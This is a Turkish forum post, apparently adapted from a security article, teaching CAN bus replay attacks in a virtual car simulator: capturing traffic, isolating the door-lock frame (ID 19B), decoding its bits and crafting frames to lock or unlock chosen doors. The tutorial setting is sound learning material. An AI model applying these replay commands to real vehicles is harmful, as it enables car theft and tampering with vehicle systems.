(1654550641.303029) vcan0 17C#0000000010000030
(1654550641.303046) vcan0 18E#00007A
(1654550641.304018) vcan0 19B#000000000000
(1654550641.305246) vcan0 294#040B0002CF5A002C
(1654550641.305260) vcan0 21E#03E8374522062F
Ağ trafiği tekrarının son kısmı, 5 satırın son 2'sini ve ardından 5 satırın ilk 2'sini aldı. Her iki bölünmüş dosya çalışmadan, bu dosyanın ortasının kapıların açılmasını kontrol eden paket olduğunu anlayabiliriz. Yine de bunu sadece bir kesintiye bırakmayalım. Bu satırı, “doorsUnlock” adlı kendi dosyasına kopyalayalım ve davranışı gözlemlemek için o dosyayı yeniden oynatalım.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550641.304018) vcan0 19B#000000000000' > doorsUnlock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsUnlock
4hr7p7j.png

IC Simülatöründeki kapılar bu tek CAN paketi ile açıldı. Bu paketin içeriğini inceleyelim.https://www.offensive-security.com/wp-content/uploads/2022/07/04.png

(1654550641.304018) VCAN0 19B # 000000000000

Paketin ilk vurgulanan bölümü tanımlayıcıdır. Bu, kapıların onaltılık 19B kodunun bir cihaz işaretleyicisi ile tanımlandığı anlamına gelir . Paketin vurgulanan ikinci kısmı verilerdir. Bu durumda, verilerin tümü 0'lara ayarlanmıştır , bu nedenle bu, kapı talimatı gönderme ihtiyacımız için pek yardımcı olmaz.

İşlemimizin başında da kapıyı kilitlemiş olmamızın nedeni budur. Bilinen kapı tanımlayıcısı ile, paketin veri kısmında hangi varyasyonların var olduğunu görmek için bu tanımlayıcı için orijinal paket yakalamayı arayabiliriz. 19B için orijinal dosyada grep komutunu çalıştıralım .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ grep 19B candump-2022-06-06_142359.log (1654550641.304018) vcan0 19B #00000 0 000000  (1654550642.133853) vcan0 19B #00000 F 000000  (1654550642.366332) vcan0 244#000000019B
Tanımlayıcı aradığımız şeyle eşleşmediğinden, yukarıdaki çıktıda görüntülenen son satırı yok sayabiliriz. Kapı veri paketleri, üçüncü baytın ikinci yarımında değiştirilir. Data bölümünde F ile satırı alıp “doorsLock” adında yeni bir dosya oluşturalım. Daha sonra bunu tekrar oynatacağız ve bu paketin tüm kapıları kilitleyip kilitlemeyeceğini belirlemek için IC Simulator penceresini izleyeceğiz.

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#00000F000000' > doorsLock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsLock
3yua3m2.png
Kapılar artık tek bir veri paketi ile kilitlenmiştir.

Verileri Daha Fazla Analiz Etme

CAN veri yolu aracılığıyla tüm araba kapılarının kilidinin açılmasını ve kilitlenmesini başarıyla yakaladık ve yeniden oynattık. Verileri daha fazla analiz edebilir ve kapıları hep ya da hiçten daha ayrıntılı bir şekilde kontrol edip edemeyeceğimizi görebiliriz. İki CAN paketini tekrar gözden geçirelim:

(1654550641.304018) VCAN0 19B # 000000000000

(1654550642.133853) VCAN0 19B # 00000 F 000000

Daha önce belirttiğimiz gibi, veriler üçüncü baytın ikinci yarım baytında değiştirilir. Bu küçük parçayı ikili formatına ayırırsak, onu şu şekilde gösterebiliriz:
8​
4​
2​
1​
ALTIGEN
0​
0​
0​
0​
0​
1​
1​
1​
1​
F​
Tüm kapıların kilidini açan paket, o kemirmeyi 0 olarak temsil eder . Tüm kapıları kilitleyen paket yarım baytlığı onaltılık F olarak temsil eder . Bunu ikiliye bölmek, 16 olası kapı kombinasyonu verir. 16 varyasyonun hepsini test etmek yerine, hangi bitin hangi kapıyı kontrol ettiğini manuel olarak belirlemeye çalışalım. Bunu yapmak için aşağıdaki organizasyonla 4 dosya daha oluşturmayı düşünebiliriz:
8​
4​
2​
1​
ALTIGEN​
KAPI​
1​
0​
0​
0​
8​
?​
0​
1​
0​
0​
4​
?​
0​
0​
1​
0​
2​
?​
0​
0​
0​
1​
1​
?​
Artık hangi bitin hangi kapıyı kontrol ettiğini belirlemek için 4 ayrı dosya oluşturabilir ve tekrar oynatabiliriz. Yeni veri paketleri şöyle görünecek ve her biri kendi dosyasında olacak:

(1654550641.304018) VCAN0 19B # 00000 8 000000

(1654550642.133853) VCAN0 19B # 00000 4 000000

(1654550641.304018) VCAN0 19B # 00000 2 000000

(1654550642.133853) VCAN0 19B # 00000 1 000000

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000008000000' > doors8
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000004000000' > doors4
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000002000000' > doors2
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000001000000' > doors1
Bu gates # dosyalarının her birini yeniden oynatmak aşağıdaki bulgularla sonuçlanır:
8​
4​
2​
1​
ALTIGEN
KAPI​
1​
0​
0​
0​
8​
ARKA YOLCU​
0​
1​
0​
0​
4​
ARKA SÜRÜCÜLER​
0​
0​
1​
0​
2​
ÖN YOLCU​
0​
0​
0​
1​
1​
ÖN SÜRÜCÜLER​

q04pemf.png

Her kapının hareketini göz önüne alırsak, 1 kapıyı kilitlemek için ve 0 kapının kilidini açmak için harekettir. Hal böyle olunca kapılarımızı tanımladığımızda, tanımlanan kapıya kapıyı kilitleme talimatı verilirken, diğerlerine kilidi açma talimatı verildi. Artık araçtaki kapıları kilitlemek veya kilidini açmak için verilerde herhangi bir değişiklik yapabiliriz.

Bu makaleyi bitirmeden önce son bir örneğe bakalım. Aracın her iki arka kapısını da kilitlemek ve ön kapıların kilidini açmak istiyorsak, CAN paketindeki ikiliyi nasıl değiştirebiliriz?
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
?​
?​
?​
?​
?​
Kilit açma biti 0 ise ön kapıları 0 değeriyle doldurabiliriz . 1 değeri kapıların kilitlenmesine neden olur, bu nedenle sonuç şöyle olur:
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
1​
1​
0​
0​
C​
Bunun ikili sonucu 1(8) + 1(4) + 0(2) + 0(1) = 8+4+0+0 = 12 olacaktır. Onaltılık biçimde 12, C'dir . Bu, CAN paketimizi şu şekilde değiştirir:

(1654550641.304018) VCAN0 19B # 00000 C 000000

Bu paketle başka bir dosya oluşturalım ve buna “unlockFront” adını verelim. Bu paketi ağda tekrar oynayarak ve sonucu izleyerek test edebiliriz.
pfqf601.png

Her kapıyı başarılı bir şekilde kontrol ediyoruz ve istediğimiz kilitsiz/kilitli kapı kombinasyonunu yapabiliyoruz.

Daha fazla öğrenmek ister misiniz?

Bu makalenin başlarında belirtildiği gibi, araba korsanlığı hakkında daha fazla bilgi edinmek ve konuya daha derin bir dalış yapmak için harika bir kaynak, Craig Smith'in The Car Hacker's Handbook adlı kitabında ele alınmaktadır . Araba hackleme konusunda daha fazla gerçek dünya deneyimi edinmek istiyorsanız,Car Hacking Village ,topluluğuna da göz atmanızı tavsiye ederim. Diğer bazı değerli kaynaklar,CSS Electronics,Illmatics'tir.

Çözüm

Bu makalede, bir CAN veri yolunun ne olduğunu, araç iletişiminde nasıl rol oynadığını, bir simülasyon yürütmek için gerekli araçları kurmayı ve kilit açma veya kilitleme komutunu göndermek için sanal araçtaki her bir kapıyı kontrol etmeyi tanımlayabildik.

Araba korsanlığı biraz riskli olabilir, bu nedenle bu bilgiyi simüle edilmiş bir ortamda veya dikkatli bir şekilde kullanmanızı öneririz.Gerçek bir aracı hacklemeye karar verirseniz, lütfen her türlü olasılığı göz önünde bulundurduğunuzdan emin olun ve bunun riski size aittir.

NOT:Yapılan Hacklerden Ben Veya TurkHackTeam Ailesi Sorumlu Değildir.Konunun Bazı Kısımları Alıntıdır :)
iUBacd.gif
q6iq2ex.jpg
eline sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.